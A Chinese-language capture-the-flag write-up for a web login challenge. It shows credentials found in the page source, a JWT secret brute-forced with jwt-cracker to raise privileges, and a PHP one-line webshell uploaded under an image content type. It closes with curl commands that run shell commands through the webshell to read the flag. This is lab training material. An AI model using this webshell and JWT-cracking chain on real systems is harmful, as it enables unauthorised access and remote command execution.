

★ 星盟登录 ★

登录

在源码找到一个账号密码

```
3 <input name="pass" type="password" value="xmuser/123456" />
4 <button>登录</button>
5 <!-- xmuser/123456 -->
```

登录上去是一个文件上传点，显示身份user，功能不可用，判断是要提权admin

★ 星盟后台管理系统

当前身份：user | [退出](#)

昵称:

xmuser

年龄:

18

背景图上传:

Choose File No file chosen

留言板:

欢迎来到星盟网

提交修改

先退出，再登录一次抓包

```
5 Accept-Language: zh-CN,zh;q=0.9
6 Origin:
  http://80-fb23887f-2bce-4595-8ec0-fc1132baabf6.challenge.ctfplus.c
  n
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
10 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
  0.7
11 Referer:
  http://80-fb23887f-2bce-4595-8ec0-fc1132baabf6.challenge.ctfplus.c
  n/index.php
12 Accept-Encoding: gzip, deflate, br
13 Connection: keep-alive
14
15 user=xmuser&pass=123456
```

先放行一次，会又抓到一个请求包，里面有一个token

```

n/index.php
9 Accept-Encoding: gzip, deflate, br
10 Cookie: token=
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZ
XIiLCJleHAiOiJlE3NzQ3OTM3MzN9.zhG1YlUyA8Oszxg6FHLmWKS0h0HcFoNh8W92BW
zNTss
11 Connection: keep-alive

```

直接用jwt-cracker，爆破出密钥，为“cdef”

```

• jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOiJlE3NzQ3OTM3MzN9.U8cchTuIaAbN_xN85Pdiz8C07Hp1SpgezMCPP3lTh5Q
Secret is "cdef"

```

先上传一个png文件

```

4 -----WebKitFormBoundaryft6rSAXlBA1Aw5m5
5 Content-Disposition: form-data; name="file";
  filename="100.png"
6 Content-Type: image/png
7
8

```

抓包后把后缀改成.php，内容为一句话木马，用字符串拼接绕过

```

<?=
$s='sys'.'tem';
$s($_GET[1]);
?>

```

```

24 -----WebKitFormBoundaryft6rSAXlBA1Aw5m5
25 Content-Disposition: form-data; name="file";
  filename="100.php"
26 Content-Type: image/png
27
28 <?=
29 $s='sys'.'tem';
30 $s($_GET[1]);
31 ?>
32 -----WebKitFormBoundaryft6rSAXlBA1Aw5m5

```

Choose File No file chosen

你的文件已经上传，路径为：
 uploads/ede8e7b2331c4b3108c7d798f0aecc1d_100.php
 留言板：

得到木马路径，直接访问

最后在根目录获得flag，only_real也是这个解法

```
• ▶ curl http://80-a144440f-3073-4a0d-9ba9-4f21583e4a39.challenge.ctfplus.cn/uploads/d7e5a8b1304d3cdaa70b535e4ba73aaf_100.php?i=ls
systemd7e5a8b1304d3cdaa70b535e4ba73aaf_100.php
• ▶ curl http://80-a144440f-3073-4a0d-9ba9-4f21583e4a39.challenge.ctfplus.cn/uploads/d7e5a8b1304d3cdaa70b535e4ba73aaf_100.php?i=tac flag.php
systemcurl: (52) Empty reply from server
• ▶ curl http://80-a144440f-3073-4a0d-9ba9-4f21583e4a39.challenge.ctfplus.cn/uploads/d7e5a8b1304d3cdaa70b535e4ba73aaf_100.php?i=tac%20flag.ph
systemd
• ▶ curl http://80-a144440f-3073-4a0d-9ba9-4f21583e4a39.challenge.ctfplus.cn/uploads/d7e5a8b1304d3cdaa70b535e4ba73aaf_100.php?i=ls%20/
systembin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
• ▶ curl http://80-a144440f-3073-4a0d-9ba9-4f21583e4a39.challenge.ctfplus.cn/uploads/d7e5a8b1304d3cdaa70b535e4ba73aaf_100.php?i=cat%20/flag
systemxmctf{7aeabc2f-9f29-47c2-b4a0-f971553ed3ce}
```